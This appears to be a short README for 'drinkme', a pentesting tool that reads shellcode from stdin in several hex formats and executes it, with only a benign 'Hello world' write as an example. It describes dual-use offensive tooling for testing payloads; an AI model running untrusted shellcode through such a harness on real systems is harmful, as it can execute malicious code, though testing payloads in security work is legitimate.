drinkme

drinkme is a shellcode test harness. It reads shellcode from stdin and executes it. This allows pentesters to quickly test their payloads before deployment.

Formats

drinkme can handle shellcode in the following formats:

• "0x##"
• "\x##"
• "x##"
• "##"

For example, NOP could be represented as any of "0x90", "\x90", "x90", or "90".

When processing the input drinkme will ignore any of the following:

• C and C++ style comments.
• All whitespace.
• Any characters from the set [\",;].

Examples

write(STDOUT_FILENO, "Hello world!\n", strlen("Hello world!\n"))
